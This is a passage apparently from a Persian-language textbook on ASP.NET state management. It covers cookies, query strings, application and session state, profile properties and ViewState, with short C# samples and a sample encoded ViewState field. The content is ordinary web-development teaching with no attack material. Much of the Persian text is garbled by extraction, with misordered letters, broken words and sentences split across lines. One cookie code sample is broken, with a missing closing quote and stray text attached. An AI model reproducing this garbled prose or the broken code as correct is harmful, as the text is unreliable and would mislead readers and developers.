کند، کلاینت یک صفحه درخواست ارسال میکه مرورگر به  یره شده و زمانیستم کلاینت ذخیس یرو ید. کوکیکن

ر آن را یرا خوانده و مقاد یتواند کوکیکند. سرور میرا به همراه اطلاعات درخواست شده ارسال م یاطلاعات کوک

ت کاربر یانگر احراز هویشده( که نما یک توکن )احتماال رمزگذاری ٔ  یرهذخک مورد استفاده، یاستخراج کند. 

 باشد.یشما است، م ٔ  برنامهدر  یفعل

 :یتیامن ٔ  نکته

ل، کاربران مخرب ن حایجاد کرده، بازگشت دهد. با ایرا ا یکه کوک یتواند اطلاعات را تنها به سروریمرورگر م

شود که اطلاعات حساس مانند نام یه میآنها دارند. توص یو خواندن محتوا یبه کوک یدسترس یبرا ییهاروش

ره یذخ یک توکن در کوکیکاربر  ییشناسا یآن، برا یجاد. بهیره نکنیذخ یک کوکیعبور را در  ٔ  کلمها ی یکاربر

 د.یسرور استفاده کن یبه اطلاعات حساس بر رو یدسترس یکرده و سپس از توکن برا

 ها عبارتند از:یاستفاده از کوک یایمزا

 یرسد منقضیان میکه نشست مرورگر به پا یتواند هنگامیم یم: کوکیقابل تنظ ین انقضایقوان ➢

ن موارد مشمول یکه ا وتر کلاینت وجود داشته باشدیکامپ یطور نامحدود روتواند بهیا میشده، 

 شوند.ین انقضا در سمت کلاینت میقوان

ک ارسال، توسط سرور یره شده و بعد از یسمت کلاینت ذخ یبه منابع سرور ندارد: کوک یازین ➢

 شود.یخوانده م

 د/مقدار ساده است.یار سبک وزن و با جفت کلیبر متن بس ی، ساختار مبتنی: کوکیسادگ ➢

در سمت کلاینت  یکوک یانقضا یندهایفراوتر کلاینت به یدر کامپ یحفظ داده: اگر چه دوام کوک ➢

 یداده رو یره سازین شکل ذخیبا دوام تر یطور کلها بهیکاربر مربوط است، اما کوک ٔ  مداخلهو 

 کلاینت هستند.
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 عبارتند از: یب استفاده از کوکیمعا

کوکی به ازا  20و  یاندازه کوک یرا برا یتیبا 4096ت یک محدودیطول محدود: اغلب مرورگرها  ➢

 یتیبا 8092 یهایاز کوک یبانیاگرچه پشت ،دهندیقرار مسرور در پوشه هارد دیسک کلاینت  هر

 ج شده است.ید رایکلاینت جد یدستگاهها یهادر مرورگرها و نسخه

 یها را رویتوانند کوکیهستند. کاربران م یها در معرض دستکاریبالقوه: کوک یتیامن یهاسکیر ➢

که به  یا از کار افتادن برنامهای یتیک خطر امنیجاد ین باعث ایکرده که ا یوتر خود دستکاریکامپ

که آنها را به کلاینت  یاها تنها با دامنهین، هر چند کوکیشود. همچنیوابسته است، م یکوک

ق یاز طر یبه کوک یدسترس یبرا ییخ روشهایاما هکرها در طول تار ،فرستاده در دسترس هستند

 یرمزگذار یصورت دستها را بهید کوکیتوانیاند. شما مافتهیوتر کاربر یکامپ یرو گر برید یهادامنه

 یرمزگذار یل زمان لازم برایتواند به دلیاست و م یازمند کد اضافیکار ن نیا ید ولیکن ییو رمزگشا

 ر بگذارد.یشما تأث ٔ  برنامه ییکارا ی، روییو رمزگشا

انقضا تعریف کرده و به  (: این مدل کوکی شما می توانید زمانPersistent) یمیدامثال: نحوه ایجاد کوکی 

 صورت دایمی می مانند تا وقتی که مدت انقضا انها برسد. دو راه برای ایجاد چنین کوکی وجود دارد:

 مورد اول:

Response.Cookies["nameWithPCookies"].Value = "This is A Persistance Cookie"; 

Response.Cookies["nameWithPCookies"].Expires = DateTime.Now.AddSeconds(10); 

 مورد دوم:

HttpCookie aCookieValPer = new HttpCookie("Persistance"); 

aCookieValPer.Value = "This is A Persistance Cookie"; 

aCookieValPer.Expires = DateTime.Now.AddSeconds(10); 

Response.Cookies.Add(aCookieValPer); 
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این مدل کوکی در پوشه هارد دیسک کلاینت به صورت دایمی ذخیره  :مثال: نحوه ایجاد کوکی غیر دایمی

با بستن مرورگر  ؛ ونمی شود و فقط تا وقتی که کاربر به همان مرورگر دسترسی دارد اطلاعات را نگه می دارد

 ل کوکی ها برای کامپیوترهای عمومی مناسب هستند.کوکی هم از بین می رود. این مد

 دو راه برای ایجاد چنین کوکی وجود دارد:

 مورد اول:

Response.Cookies["nameWithNPCookies"].Value = "This is A Non Persistance Cookie"; 

 مورد دوم:

HttpCookie aCookieValNonPer = new HttpCookie("NonPersistance"); 

aCookieValNonPer.Value = "This is A Non Persistance Cookie; 

Response.Cookies.Add(aCookieValNonPer);how to create cookie: 

 

 نحوه خواندن یک کوکی:

if (Request.Cookies["NonPersistance"] != null) 

Label2.Text = Request.Cookies["NonPersistance"].Value; 

 

 پرس و جو یهارشته 5-2-5

 یهااز رشته یک مورد معمولیشود. یآدرس صفحه اضافه م یاست که به انتها یپرس و جو اطلاعات ٔ  رشتهک ی

 ر خواهد بود:یپرس و جو مانند نمونه ز

http://www.contoso.com/listwidgets.aspx  category=basic&price=100 ی

 یکیباشد که یاز شده و شامل دو جفت صفت/مقدار مپرس و جو با علامت سؤال )؟( آغ ٔ  رشتهدر آدرس بالا، 

 نام دارد. "price" یگریو د "category"از آنها 
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ک راه یمثال،  یآورد. برایره اطلاعات فراهم میذخ یت برایبا محدود یک روش ساده ولیپرس و جو  ٔ  رشته

ک صفحه به یمحصول از  ٔ  شمارهگر است مانند ارسال ید ٔ  صفحهک صفحه به یارسال اطلاعات از  یآسان برا

ت یک محدودیکلاینت  یهاستمیاز مرورگرها و س ین حال، بعضیلازم. با ا یهاانجام پردازش یگر براید ٔ  صفحه

 کنند.یل میرا تحم URLطول  یکاراکتر برا 2083

 یتیامن ٔ  نکته

ن به یبنابرا؛ شود یک کاربر مخرب دستکاریتواند توسط یپرس و جو م ٔ  رشتهک یطلاعات ارسال شده در ا

را نشانه  URLتواند ین، کاربر مید. علاوه بر ایه نکنیا حساس تکیانتقال اطلاعات مهم  یرشته پرس و جو برا

 شوند.یز همراه با آن ارسال مین اطلاعات نیجه ایگر ارسال کند، درنتیا آن را به کاربران دیکرده و  یگذار

د صفحه را با یپرس و جو در طول پردازش صفحه در دسترس باشد، شما با ٔ  رشتهر ینکه مقادیبه منظور ا

ک درخواست پردازش یپاسخ به  یکه صفحه برا یجه، در صورتید. درنتیارسال کن HTTP GETاستفاده از دستور 

 د.یرشته پرس وجو بهره ببر یاید از مزایتوانیشود، نم

 پرس و جو عبارتند از: ٔ  رشتهاستفاده از  یایمزا

 رد.یگیک درخواست به آدرس خاص قرار میپرس و جو در  ٔ  رشتهاز ندارد: یه منابع سرور نب ➢

ارسال  یپرس و جو برا ٔ  رشتهکلاینت از  یهاباا تمام مرورگرها و دستگاهیع: تقریوس یبانیپشت ➢

 کنند.یر استفاده میمقاد

پرس و جو، شامل  ٔ  رشتهتوابع مربوط به  یکامل برا یبانیک پشتی Asp.Netآسان:  یاده سازیپ ➢

 دهد.یارائه م HttpRequest یاز ش Params یژگیخواندن رشته پرس وجو با استفاده از و یهاتابع

 پرس و جو عبارتند از: ٔ  رشتهب استفاده از یمعا
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 یق رابط کاربریماا توسط کاربر از طریبالقوه: اطلاعات رشته پرس وجو مستق یتیامن یهاسکیر ➢

ارسال  یگریا آن را به فرد دیکرده  یرا نشانه گذار Urlتواند یمرورگر، قابل مشاهده است. کاربر م

شود. اگر در مورد یز به همراه آن انتقال داده میپرس و جو ن ٔ  رشتهجه اطلاعات یکند، درنت

که از  یمخف یلدهاید، بهتر است که از فیاطلاعات حساس درون رشته پرس و جو نگران هست

POST د.یریکنند، بهره بگیپرس و جو استفاده م ٔ  رشته یجابه 

طول  یکاراکتر را رو 2083ت یکلاینت محدود یاز مرورگرها و دستگاهها یت محدود: برخیظرف ➢

Urlرند.یگیها درنظر م 

 بر کلاینت یت حالت مبتنیریمد ٔ  خلاصه 

ه یدر دسترس هستند را به همراه توص Asp.Netبر کلاینت که در  یت حالت مبتنیریمد یهانهیر گزیجدول ز

 درباره استفاده هرکدام آورده است. ییها

 بر کلاینت یت حالت متبنیریخالصه مد 6-1جدول:

 مورد استفاده یهاهیتوص ت حالتیرینه مدیگز

ViewState از اطلاعات را  ید حجم کمیخواهید که میاستفاده کن یژگین ویاز ا یهنگام

 به خود صفحه برگشت داده خواهد شد. د کهیره کنیدر صفحه ذخ

ن رفت یک کنترل بی یاز اطلاعات حالت برا ید حجم کمیاز داریکه ن یزمان حالت کنترل

 د.ینه استفاده کنین گزید از ایتوانید، میره کنیو برگشت به سرور ذخ

صفحه  یاز اطلاعات را برا ید حجم کمیخواهیکه م ینه هنگامین گزیاز ا یمخف یلدهایف

 د.یست، استفاده کنین یت مسئله مهمیکه امن ین مواقعید و همچنیره کنیذخ

ا ید و یره کنیدر سمت کلاینت ذخ ید تا اطلاعات کمیاز داریکه ن یزمان هایکوک

 د.ینه استفاده کنین گزیا از ست،یک مسئله نیت یامن
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گر ارسال یه به صفحه دک صفحیاز اطلاعات را از  ید حجم کمیل داریاگر تما رشته پرس وجو

 از میتوانید د. شماینه استفاده کنین گزیست، از ایک مسئله نیت یا امنید و یکن

ک یق یاز طر دیگر صفحات یا صفحه همان به که زمانی تنها پرسوجو رشتهی

 د.ید، استفاده کنیفرستینک درخواست میل

 بر سرور یت حالت مبتنیریمد یهانهیگز 3-5

ASP.NET ن اطلاعات در سمت یره ایذخ یجاسرور، به یحفظ اطلاعات حالت بر رو یبرا یمختلف یاراهه

به کلاینت را به منظور  ید حجم اطلاعات ارسالیتوانیبر سرور، م یت حالت مبتنیریدهد. با مدیکلاینت، ارائه م

 یهاسرور استفاده کند. بخش ینه بر رویتواند از منابع پر هزین کار مین حال، اید. با ایحفظ حالت، کاهش ده

 کند:یف میبر سرور را توص یت حالت مبنتیریمد یژگیر سه ویز

 حالت برنامه ➢

 حالت نشست ➢

 لیپروفا یهایژگیو ➢

 (application objectحالت برنامه ) 1-3-5

ASP.NET  ک نمونه از کلاس یدهد که یر با استفاده از حالت برنامه را میره مقادیذخ ٔ  اجازهبه شما

HttpApplicationState د یمف یاطلاعات یره سازیذخ ین، حالت برنامه برایبنابرا؛ وب فعال است ٔ  برنامههر  یبرا

 شود. یصفحه نگهدار ین درخواستهاین رفت و برگشت به سرور و بید بیاست که با

ک آدرس خاص یره شده که در طول ارسال هر درخواست به ید/ مقدار ذخیکل یکشنریک دیحالت برنامه در 

 ین درخواستهاید تا بین ساختار اضافه کنیخود را به ا ٔ  برنامهد اطلاعات مختص یتوانیشود. شما میجاد میا

د، سرور آن را یکنیخود را به حالت برنامه اضافه م ٔ  برنامهکه شما اطلاعات مختص  یره شود. هنگامیصفحه ذخ

 کند.یت میریمد



 

186 

کنند، یر نمیینشست به اشتراک گذاشته شده و اغلب تغن یق چندیکه از طر ییداده ها یده آل برایحالت ا

 ره شوند.یحالت برنامه ذخ یرهاین است که در متغیا

 استفاده از حالت برنامه عبارتند از: یهاتیمز

آشنا بوده و با  ASPتوسعه دهندگان  یآسان، برا یاستفاده یساده: حالت برنامه برا یاده سازیپ ➢

 چارچوب دات نت سازگار است. یگر کلاسهاید

صفحات در برنامه قابل دسترس است،  ٔ  همه ینکه حالت برنامه برایل ایبرنامه: به دل ٔ  دامنه ➢

 یاز اطلاعات باشد )برا یک کپیحفظ فقط  یتواند به معنیاطلاعات در حالت برنامه م ٔ  یرهذخ

 (یا در صفحات فردینمونه، برخلاف حفظ اطلاعات در حالت نشست 

 استفاده از حالت برنامه: بیمعا

ره شده در حالت برنامه یذخ یرهایز باشد. متغیتواند مضر نیحالت برنامه م ٔ  دامنهبرنامه:  ٔ  دامنه ➢

برنامه  ٔ  پردازههستند و هر  یشود، سراسریکه برنامه در آن اجرا م یخاص ٔ  پردازهفقط در 

ر یره مقادیذخ ید به حالت برنامه برایتوانین، شما نمیبنابرا؛ داشته باشد یر متفاوتیتواند مقادیم

-Webو  Web-gardenسرور  یهایکربندیدر پ یعموم یهاشمارنده یا به روزرسانیمنحصربه فرد 

farm د.یه کنیتک 

ثبات  یاند بره شدهیکه در حالت برنامه، ذخ یعموم ینکه داده هایل ایدوام محدود داده ها: به دل ➢

ا خاموش کردن یل از کار افتادن کردن سرور، ارتقا و یآن به دل یهستند و اگر پردازه سرور وب حاو

 ز از دست خواهند رفت.ین برود، داده ها نیاز ب

سرور همانند  ییکارا یتواند بر رویکه م از داردیاز: حالت برنامه به حافظه سرور نیمنابع موردن ➢

 ر بگذارد.یبرنامه تأث یریاس پذیمق
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ج یمثال، قراردادن موارد را یش دهد. برایبرنامه وب را افزا ییتواند کارایمق حالت برنامه یدق یو اجرا یطراح

ق کاهش یت را از طریتواند عملکرد ساینسبتاا ثابت از داده ها در حالت برنامه م یاا مجموعهیمورد استفاده و 

بزرگ  یبلوکها یحالت برنامه که حاو یرهایمتغ یاما از طرف؛ ش دهدیگاه داده، افزایداده از پا یهاتعداد درخواست

ک یاشغال شده توسط  ٔ  حافظهدهند. یسرور وب را کاهش م ییش بار کارگذار، کارایهستند، هنگام افزا یاطلاعات

ن، بهتر یبنابرا؛ گرددین نشده، آزاد نمیگزیا جایکه مقدارش حذف  یره شده در حالت برنامه تا زمانیر ذخیمتغ

 کنند، استفاده شود.یر مییکه کم تغ یمجموعه داده ها یرنامه فقط براحالت ب یرهایاست از متغ

 مثال: چگونگی تنظیم مقدار در حالت برنامه:

Application["Count"] = Convert.ToInt32(Application["Count"]) + 1; //Set Value to The Application 

Object 

Label1.Text = Application["Count"].ToString(); //Get Value from the Application Object 

 حالت نشست  2-3-5

Asp.NET  ک نمونه از کلاس یدهد که یر با استفاده از حالت نشست را میره مقادیذخ ٔ  اجازهبه شما

HttpSessionState است. یوب جار ٔ  برنامههر نشست  یبرا 

موردنظر است. اگر  یجا فقط نشست مرورگر فعلنیحالت نشست مشابه حالت برنامه است، به جز آن که در ا

ک حالت نشست متفاوت خواهد داشت. یشما هستند، هر نشست کاربر  ٔ  برنامهکاربران مختلف در حال استفاده از 

متفاوت نسبت  ین نشست کاربر مقداریشما خارج شده و دوباره وارد شود، دوم ٔ  برنامهک کاربر از یبعلاوه، اگر 

 ارد.به حالت نشست اول د

ره سازی اطلاعات از یه لازم است جهت ذخکم ینکبرنامه به مواردی برخورد می  یکات یدر مدت زمان ح 

ر یده ای نظیچیره اطلاعات پین است به ذخکبرنامه مم یکشرفته تری استفاده گردد. به عنوان مثال، یانات پکام

ی و کوکق ینگونه اطلاعات از طریباشد. ارسال ا از داشتهیر صفحات نیاء سفارشی داده و استفاده از آنها در سایاش
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تی در رابطه با داده ین، در برخی موارد ملاحظات امنین است. علاوه بر اکرممیا غیل و کمش query string یکا ی

 رد.کره یی ذخکوکا یو  view stateرنده را در یس گیسرو یکو نمی توان اطلاعات مربوط به   وجود دارد

 رد.کاستفاده  ASP.NETدر  session stateه شده یانات از قبل تعبکتوان از ام ن مواردی مییدر چن

آن می توان هر نوع داده  کمکه به کاست  ASP.NETژگی های برجسته یی از ویک session stateت یریمد

جاد یسطح حفاظتی مطلوب در خصوص داده ا یکب، ین ترتیرد. بدکره یس دهنده ذخیئی را در حافظه سرو

 اری منحصربفرد می باشند.کرنده ارسال نخواهند شد و برای هر جلسه یس گیه اطلاعات برای سروکشد چرا خواهد

متفاوت و مجموعه ای از اطلاعات  session یکابی داشته باشد دارای یه به برنامه دستکرنده ای یس گیهر سرو

اربر از کداری شده توسط یتم های خریآر یره اطلاعاتی نظیبرای ذخ session stateز و مختص به خود است. یمتما

د و موثر واقع می یار مفیگر بسیصفحه به صفحه د یکت از کد در زمان حریدر سبد خر ت و استقرار آنهایسا یک

 شود.

ر صفحات از یره و در سایصفحه ذخ یکق یمی توان اطلاعات مورد نظر را از طر session stateبا استفاده از 

 رد.کآنها استفاده 

را برطرف نموده است  stateت یریر روش های مدیلات در ارتباط با ساکاری از مشیبس session stateه کن یابا 

ری روش فوق در برنامه های وب، یارگکز دارای چالش های مختص به خود است. به عنوان مثال، با بیولی خود ن

ن موضوع می تواند یا  ه خواهد شد.س دهندیشتری در حافظه سرویره اطلاعات بیس دهنده وب ملزم به ذخیسرو

منبع محدود  یکه درصد استفاده از کر بگذارد. چرایارآئی آن تاثکبرنامه بر روی  یکاربران کش یهمزمان با افزا

ار کبا دقت و بررسی تمامی جوانب   session stateن، لازم است استفاده از یبنابرا  افت.یش خواهد یافزا (حافظه)

 د.یریصورت پذ
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 session stateرد کنحوه عمل  ل:کش

 

 استفاده از حالت نشست: یهاتیمز

آشنا بوده و  ASPتوسعه دهندگان  یساده: استفاده از امکان حالت نشست آسان و برا یاده سازیپ ➢

 چارچوب دات نت سازگار است. یگر کلاسهایبا د

شده و  یا فراخوانشم ٔ  برنامهتواند توسط یت حالت میریمد یدادهایخاص نشست: رو یدادهایرو ➢

 رد.یمورد استفاده قرار گ

دوباره  یتوانند درطول راه اندازیحالت نشست م یرهایقرار گرفته در متغ یها داده تداوم داده ها: ➢

را داده ها ینشست، محفوظ بماند ز ی)، بدون از دست رفتن داده هاIISنترنت )یس اطلاعات ایسرو

ان یتواند در میحالت نشست م یبعلاوه، داده هاشود. یره میذخ یگرید ٔ  پردازه یدر فضا

 ره شود.یذخ Web gardenک یا ی Web farmک یمتعدد، مثل  یندهایفرآ
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وتره و چند یچند کامپ یکربندیتواند در هر دو حالت پیبستر: حالت نشست م یریاس پذیمق ➢

 شوند.ینه میبه یریاس پذیمق یوهایجه سناریاستفاده شود و درنت یپردازها

ت یحما HTTP یهایکند که از کوکیکار م یی: حالت نشست با مرورگرهایت بدون کوکیحما ➢

 کاربر در ییت شناسایها به منظور فراهم کردن قابلیکند، هرچند حالت نشست اغلب با کوک ینم

ن یازمند ایها، نیبدون کوک شود. استفاده از حالت نشستیتحت وب، استفاده م یک برنامه کاربردی ➢

 یتیتواند منجر به مشکالت امنین میرد و ایپرس و جو قرار گ ٔ  رشتهنشست در  ٔ  شناسهاست که 

 پرس وجو شود. ٔ  رشتهمطرح شده در بخش 

د با نوشتن فراهم کننده حالت نشست خود، حالت نشست را گسترش یتوانی: شما میریتوسعه پذ ➢

زم یدر انواع مکان یسفارش ٔ  دادهک قالب یتواند در یحالت نشست م ٔ  دادهد. یکن یداده و سفارش

 ره شود.یس ذخیک وبسرویا یو  XMLل یک فایگاه داده، یداده مانند پا یره سازیذخ یها

 ب استفاده از حالت نشست:یمعا

اند، در حافظه ن نشدهیگزیا جایکه حذف  یحالت نشست تا زمان یرهای: متغییملاحظات کارا ➢

 یبلوکهایحالت نشست که دربردارنده  یرهایدهد. متغیسرور را کاهش م یین کارایاند و بنابرامِهم

ق یسرور وب از طر ییکارا یتواند بر رویبزرگ هستند، م ی، مانند مجموعه داده هایاطلاعات

 بگذارد. یر منفیش بار سرور، تأثیافزا

 لیپروفا یهایژگیو  3-3-5

ASP.NET یداده ها یرهیذخ ٔ  اجازهکند که به شما ی( فراهم م(لیپروفا یهایژگیو)ت به نام )یک خاصی 

 یل با منتقضیپروفا یهایژگین تفاوت که ویه به حالت نشست است، با ایشب یژگین ویدهد. ایمختص کاربر را م

ک قالب یکند که در یاستفاده م ASP.NETل یل از پروفایپروفا یژگیروند. امکان ویشدن نشست، از دست نم

ت آسان اطلاعات کاربران، یریامکان مد ASP.NETل یاست. پروفا یک کاربر شخصیره شده و مرتبط با یذخ یدائم
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ل، اطلاعات کاربر را با استفاده از ین پروفاین ایآورد. همچنیگاه داده را فراهم میپا یجاد و نگهداریاز به ایبدون ن

ل ید. پروفایداشته باش ید به آن دسترسیتوانیخود م ٔ  برنامه یگذارد که شما در هر جایار میدر اخت APIک ی

Asp.Net ف یرا تعر یباا هر نوع دادهایدهد تا تقریژنرک فراهم کرده که به شما اجازه م یره سازیستم ذخیک سی

 د.یکن یو نگهدار

ک یشامل  Asp.Netد. یکن یکربندیل را پیک فراهم کننده پروفاید یل، بایپروفا یهایژگیاستفاده از و یبرا

ره یذخ Sqlگاه داده یک پایل را در یپروفا یتا داده ها دهدیه شما اجازه ماست که ب SqlProfileProviderکلاس 

ک قالب یتواند داده ها را در ید که میجاد کنیل خودتان را اید فراهم کننده پروفایتوانین وجود، شما مید. با ایکن

 ره کند.یس، ذخیک وب سرویبا  XMLل یمانند فا یره سازیسم ذخیک مکانیو  یسفارش

 یبا راهانداز یره نشدها ند، حتیل، در حافظه برنامه ذخیپروفا یژگیقرار گرفته شده در و ینکه داده هایل ایبه دل

 یهایژگین ویشوند. علاوه بر ای)و پردازه، بدون از دست رفتن داده ها، حفظ مIISنترنت )یس اطلاعات ایدوباره سرو

 ره ثابت بمانند.یو غ Web farm ،Web gardenک یمتعدد  یندهایان فرایتوانند در میل میپروفا

 ل:یپروفا یهایژگیاستفاده از و یهاتیمز

بدون از  IISدوباره  یل درطول راهاندازیپروفا یهایژگیقرار گرفته در و یدوام داده ها: داده ها ➢

شوند. بعلاوه یره میذخ یزم خارجیک مکانیرا داده ها در یاند زدست رفتن داده ها، محفوظ مِهم

 ابد.یتداوم  web gardenو  web farmتواند در طول چند پردازه، مثل یل میپروفا یهایژگیو

وتره و چند یچند کامپ یکربندیتواند در هر دو حالت پیبستر: حالت نشست م یریاس پذیمق ➢

 شود.یم ینهسازیبه یریاس پذیو مقین سناریاستفاده شود، بنابرا یندیفرا

د. یجاد کنیل را ایک فراهم کننده پروفاید یل، شما بایپروفا یهایژگیتوسعه: به منظور استفاده از و ➢

ASP.NET  ک کلاس یشاملSqlProfileProvider  ره داده ها در یذخ ٔ  اجازهاست که به شما

د یجاد کنیرا ا یلید کلاس فراهم کننده پروفایتوانین میدهد، اما همچنیرا م SQL ٔ  دادهگاه یپا
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 وب یا حتی، XMLل یدلخواه، مثل فا یرهیزم ذخیدلخواه و مکان یقالبل را در یپروفا یکه داده ها

 کند.یره میس ذخیسرو

 ل:یپروفا یهایژگیب استفاده از ویمعا

سه با استفاده از حالت نشست کندتر یدر مقا یطور کلل بهیپروفا یهایژگی: وییملاحظات کارا ➢

 شوند.یم یگاه داده نگهداریداده ها در حافظه، داده ها در پا یرهیذخ یجارا بهیهستند ز

 یاز به مقدار قابل توجهیل نیپروفا یهایژگی: برخلاف حالت نشست ویاضاف یکر بندیاز به پین ➢

ک فراهم یل، نه تنها یپروفا یهایژگیاستفاده از و یاستفاده دارد. برا یبرا یکربندیمات پیتنظ ➢

د یره کنید ذخیخواهیکه م یلیپروفا یهایژگید تمام وید، بلکه بایکن یکربندیل را پیپروفا یکننده

 د.یکن یکربندیش پیز از پیرا ن

ل یپروفا یدارند. از آنجا که داده ها یقابل توجه یاز نگهداریل نیپروفا یهایژگیداده ها: و ینگهدار ➢

 ٔ  برنامهشود، یتر میمیداده ها قد ید که وقتید مطمئن شویاند، شما بارفرار مهِمیغ یدر حافظها

 کند.یم یشود، فراخوانیل ارائه میپروفا ٔ  کنندهرا که، توسط فراهم  یمناسب یزم پاکسازیشما مکان

 ت حالت سمت سروریریمد ٔ  خلاصه 

نه یو انتخاب گز stateت یریر می توان به منظور بررسی روش های مختلف مدیاز اطلاعات مندرج در جدول ز

 رد.کاستفاده   برنامه است، یکاز یه پاسخگوی نکای مطلوب 

 state managementسه روش های مختلف ی: مقا1جدول  

Application State Session State Custom Cookies Query String View State ژگییو 

تمامی نوع های داده دات 

 نت

تمامی نوع های داده دات 

 نت
 داده از نوع رشته

حجم محدودی داده از 

 نوع رشته

تمامی نوع های داده 

ال یت سریدات نت با قابل

 شدن

نوع های  

داده قابل 

 استفاده
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 س دهندهیحافظه سرو س دهندهیسروحافظه 

 رنده یس گیوتر سرویامپک 

ل یفا یکا یدر حافظه و )

با توجه به  کوچکمتن 

 ( مات انجام شدهیتنظ

 مرورگر URLدر رشته 
لد مخفی در یف یک

 صفحه وب جاری

ره یان ذخکم

 سازی

قابل استفاده در مدت 

ات برنامه یزمان ح

ه کتا زمانی  "معمولا)

س دهنده راه اندازی یسرو

   (مجدد نگردد

 یکپس از گذشت 

ن یاز ب مشخص   زمان

 20 "معمولا) می روند.

می توان آن را  قه ولییدق

ق یا از طریبطور دستی و 

   (ر دادیید تغک

مات برنامه یوابسته به تنظ 

استفاده در ان کام)س ینو

ن صفحه و نگهداری یچند

ن ملاقات وجود ین چندیب

 (دارد

 یکحذف پس از درج 

URL ا بستن ید و یجد

  اربرکمرورگر توسط 

نگهداری دائم برای 

post back  یکبه 

 صفحه

 طول عمر

تمامی برنامه 

ASP.NET( برخلاف

ر روش ها، داده برنامه یسا

اربران کبرای تمامی 

 (سراسری است

تمامی برنامه 

ASP.NET 
 محدود به صفحه جاری محدود به صفحه مقصد ASP.NETتمامی برنامه 

حوزه 

 ابییدست

چون  منی بالائی دارندیا

س یسرو هرگز داده برای

 رنده ارسال نمی گرددیگ

دارند   بالائی منییا

 هرگز داده برای  چون

رنده ارسال یس گیسرو

  نمی گردد

ان کو ام من بودهیرایغ

توسط  آنهار ییتغ

 وجود دارد. اربرانک

قابل مشاهده بوده و 

 به   اربران می توانندک

ر ییسادگی آنها را تغ

 دهند.

ش فرض یبه صورت پ

رات ییمقاوم در مقابل تغ

ان کمی باشند ولی ام

 خواندن آنها وجود دارد.

و یتکریاستفاده از دا با

صفحه می توان بر 

د کیآنها تا یرمزنگار

 رد.ک

 تیامن

ه حجم کن، زمانی یپائ

ره یبالائی از اطلاعات ذخ

ه داده کشده باشد چرا

ره یدر صورت ذخ ن،یپائ

از اطلاعات  حجم بالائی

اگر در هر  "خصوصا

ه حجم کر ندارد، چرایتاث  

 ز استیناچ داده

ه کر ندارد، چرایتاث  

 ز استیناچ حجم داده

ره ین، در صورت ذخیپائ

حجم بالائی از اطلاعات 

ارآئی کولی بر روی 

 ارآئیک
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د یا عمرمفیهرگز حذف و 

 دیآن به اتمام نخواهد رس

اربر کادی یلحظه تعداد ز

از برنامه 

ه کچرا ند.ینما  استفاده

 یکدارای  اربرکهر 

داده نسخه جداگانه از 

session خواهد بود 

ر یس دهنده تاثیسرو

   نمی گذارد

ره هر نوع داده یذخ

 سراسری

 یکتم هائی در یره آیذخ

 دیسبد خر

 یکاطلاعات شخصی برای 

 تیوب سا

 یکارسال شناسه 

محصول از صفحه 

 ات بهیلکش دهنده ینما

ش دهنده یصفحه نما

 اتیجزئ

مات مرتبط با یتنظ

 صفحه

ن یمتداولتر

 موارد استفاده

 ViewStateت یامن 4-5

ا یک دکمه یک یمانند کل یاتیداد است که عملی، مدل روAsp.Netوب  یمهم در فرمها یهایژگیاز و یکی

 یسینومنطبق با برنامه یکردیل کرده و رویسمت سرور تبد یدادهایست را به رویتم انتخاب شده در لیر آییتغ

ک ی ViewStateکرد.  یرا معرف ViewStateکروسافت ین مدل، مایاز ا یبانیپشت یندوز است. برایو یفرمها

کنند. یم یمتعدد کلاینت نگهدار یهاها و پاسخسم است که به موجب آن، صفحات حالت خود را در درخواستیمکان

را در حالت کنترل خود  یژگین ویتواند مقدار ایشود، کنترل میم یاز کنترل مقدارده یژگیک ویکه  یزمان

عنوان که به سرور ارسال شده و توسط کلاینت به شودیصفحه اضافه م ViewStateره کند. هر حالت کنترل به یذخ

 ر:یشود، مانند زیبازگشت داده م یلد مخفیک فی

<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" 

value="/wEPDwUKMTcwMzQ5NDcyMGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9f 

FggFL2N0bDAwJE1haW5QbGFjZUhvbGRlciRFZGl0b3IkQ29tbWVudFJhZGlvQnV0dG9uBS9jdGww 

MCRNYWluUGxhY2VIb2xkZXIkRWRpdG9yJENvbW1lbnRSYWRpb0J1dHRvbgUuY3RsMDAkTWFpblBs 

YWNlSG9sZGVyJEVkaXRvciRUaHJlYWRSYWRpb0J1dHRvbgUuY3RsMDAkTWFpblBsYWNlSG9sZGVy 

JEVkaXRvciRUaHJlYWRSYWRpb0J1dHRvbgUuY3RsMDAkTWFpblBsYWNlSG9sZGVyJEVkaXRvci 
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ROZXdUaHJlYWRDaGVja0JveAUoY3RsMDAkTWFpblBsYWNlSG9sZGVyJEVkaXRvciRCb2R5VGV4d 

EJveAVRY3RsMDAkTWFpblBsYWNlSG9sZGVyJEVkaXRvciRjdGwwMF9NYWluUGxhY2VIb2xkZXJf 

RWRpdG9yX0JvZHlUZXh0Qm94ZGlhbG9nT3BlbmVyBVhjdGwwMCRNYWluUGxhY2VIb2xkZXIk 

RWRpdG9yJGN0bDAwX01haW5QbGFjZUhvbGRlcl9FZGl0b3JfQm9keVRleHRCb3hkaWFsb2dPc 

GVuZXJfV2luZG93" /> 

 

ViewState شوند، یکه کنترلها به صفحه اضافه م یدارد. زمان یبیو معا یایمزاViewState  رشد کرده و

ش صفحه توسط کلاینت را تحت یو نما ین سرعت بارگذاریصفحه اضافه کند که ا ٔ  اندازهها به تیلوبایتواند کیم

کرده و  یبانیداد محور را پشتیتواند مدل روینم ViewState ،Asp.Netن وجود، بدون یدهد. با ایر قرار میتأث

جاد شده یا ViewStateد از یتوانیدهند. شما میدوباره صفحه از دست م یر خود را هنگام بارگذاریکنترلها مقاد

 ViewStateبه  ید، توسط دسترسید با هر درخواست ارسال کنیخواهیکه م یریمقاد ٔ  یرهذخ یتوسط خودتان برا

 ش داده شده است:یر نماید. همانطور که در مثال زیاستفاده کن Pageدر کلاس 

ViewState["MyExample"] = "wrox;" 

اند شده ید آنها رمزگذارید داده را بخوانیتوانینکه نمیل اید که به دلین مثال ممکن است تصور کنیبا نگاه به ا

صورت متن است که به یهین نبوده و بدین چنیاما ا؛ ا مقدار نباشدینام  یژگیچ ویرسد که شامل هیو به نظر م

، داده 64 یبرمبنا یرمزگذار شده است. یرمزگذار 64 یبرمبنا ViewStateست. در مثال قبل، مقدار یواضح ن

است که در  یستمین سیآورد. ا یدرم 64 یک متن در مبنایصورت افت کرده و آنها را بهیرا در ینریبا یها

از مجموعه کاراکترها به  یاریبود که بس یر مجموعهایکاراکتر، حداکثر ز 64شد؛ چراکه یشتر انتخاب میگذشته ب

